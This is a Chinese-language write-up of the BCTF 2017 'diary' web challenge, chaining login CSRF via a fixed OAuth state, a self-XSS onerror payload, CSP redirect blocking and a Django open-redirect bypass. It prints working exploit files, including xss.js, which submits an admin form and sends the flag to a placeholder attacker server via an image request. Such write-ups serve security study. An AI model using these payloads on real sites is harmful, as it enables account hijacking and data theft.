[BCTF 2017] diary(web) write-up
[CTF]
功能点
/login /logout
登入登出功能使用GET请求,存在CSRF。
登录处使用了OAuth
Server (auth.bctf.xctf.org.cn)
Client (diary.bctf.xctf.org.cn)
callback接口
/o/receive_authcode?state=preauth&code=RWgXo94zuNhTPLgik8KN0Rz1iL7czb
state
值是固定值(可预测)使该OAuth接口存在CSRF,一般会形成绑定劫持。
/about
页面底部观察到一些信息:
© 2016-2017 | @firesun | BCTF 2017 | Powered by Django 1.10.6
如果是框架特性的话只给出Django就行了,这里版本写的这么详细,可能有两个意思:
- 最新版本,没有漏洞。
- 请利用该版本存在的漏洞。
查了一下最新版本是1.10.7和1.11,所以作者的意图可能是后者,想起前两天刚爆出的两个URL跳转。
/diary
/diary/
页面有个富文本编辑器,可构造一个self-XSS。
" onerror="with(document)body.appendChild(createElement('script')).src='http://your_site/xss.js'
# html-10 encode
" onerror="with(document)body.appendChild(createElement('script')).src='http://your_site/xss.js'
/survey
/survey/
有一个表单,提交之后给出提示:“管理员身份提交此表单方可得到flag”。这个版本修复了畸形cookie解析漏洞,绕csrftoken的方法剩下XSS或CRLF。
/report_bugs
/report_bugs/
提交的URL会被admin访问,出题人给我们触发CSRF或者XSS用的。
攻击流程
初期在文档中记录了以下思路:
流程:
1.让admin登出(这一步是GET,可以CSRF)
2. (CSRF)让admin以GET方式访问/o/receive_authcode?state=preauth&code=RWgXo94zuNhTPLgik8KN0Rz1iL7czb
这里code对应的是我们自己的账号
3. admin以我们的账号登录
4. 让其访问diary触发XSS
5. XSS修改cookie中的csrftoken绕过CSRF filter (修改成什么值还要研究下)
6. CSRF提交表单拿到flag
然后 @lynahex 找到了这题的原型:
更新了一个重要的点:利用CSP拦截跳转,使我们的CSRF脚本只让用户退出client端的session,不退出oauth-server端的session,这样就保留了admin的身份。
然后做出exp
csrf.html (提交给admin的访问入口)
<meta http-equiv="Content-Security-Policy" content="img-src http://diary.bctf.xctf.org.cn">
<img src="http://diary.bctf.xctf.org.cn/accounts/logout/" onerror="login();">
<script>
//这步是为了带上新的sessionid
var login = function() {
var loginImg = document.createElement('img');
loginImg.src = 'http://diary.bctf.xctf.org.cn/accounts/login/';
loginImg.onerror = redir;
}
//Redirect them to login with our code
var redir = function() {
//Get the code from the URL to make it easy for testing
var code = 'WWDweGu2WwVDQdIvTgU2nWO9lG6mNr';
var loginImg2 = document.createElement('img');
loginImg2.src = 'http://diary.bctf.xctf.org.cn/o/receive_authcode?state=preauth&code=' + code;
loginImg2.onerror = function() {
//Redirect to the profile page with the payload
window.location = 'http://diary.bctf.xctf.org.cn/diary/';
}
}
</script>
xss.js (self-xss引入的外域js)
var loginIframe = document.createElement('iframe');
loginIframe.setAttribute('src', 'http://your_server/iframe.html');
document.body.appendChild(loginIframe);
setTimeout(function() {
var profileIframe = document.createElement('iframe');
profileIframe.setAttribute('src', 'http://diary.bctf.xctf.org.cn/survey/');
profileIframe.setAttribute('id', 'pi');
document.body.appendChild(profileIframe);
profileIframe.onload = function() {
var w = document.getElementById('pi').contentWindow;
w.document.getElementById('suggestion').innerHTML='hahaha';
w.document.getElementsByTagName('form')[0].submit();
w.document.createElement('img').src="http://your_server/?flag="+w.document.getElementsByTagName("h3")[0].innerHTML;
}
}, 9000);
iframe.html (xss.js导入的iframe,让用户再次切换到admin身份)
<meta http-equiv="Content-Security-Policy" content="img-src http://diary.bctf.xctf.org.cn">
<!-- Log the user out of our partner account -->
<img src="http://diary.bctf.xctf.org.cn/accounts/logout/" onerror="redir();">
<script>
//Log them into partners via their session on login.uber.com
var redir = function() {
window.location = 'http://diary.bctf.xctf.org.cn/accounts/login/';
};
</script>
本地两个账号测试通过,提交CSRF地址让它访问时,发现服务器只接收本域的链接。
在测试常规绕过方式时,@louys 已经发现了跳转,利用之前提到的Django跳转漏洞。
http://diary.bctf.xctf.org.cn/static/%5C%5Cwww.louys.net.cn
绕过URL限制后,提交CSRF地址,拿到flag。
关于CSRF的触发方式
本文中用到的CSRF触发方式如果放到我们的公网服务器会受到X-Frame-Options: SAMEORIGIN
保护,浏览器将拒绝加载iframe。
<iframe id="if" src=http://localhost onload=p()></iframe>
<script>
function p() {
var d = document.getElementById('if').contentWindow.document;
d.getElementsByTagName('form')[0].submit();
}
</script>
而题中我们利用XSS在/diary
页面注入的这个iframe,属于同域。
也就是说这根本不是CSRF的防御范围,再次修改Cookie绕过Django的CSRF策略属于多此一举。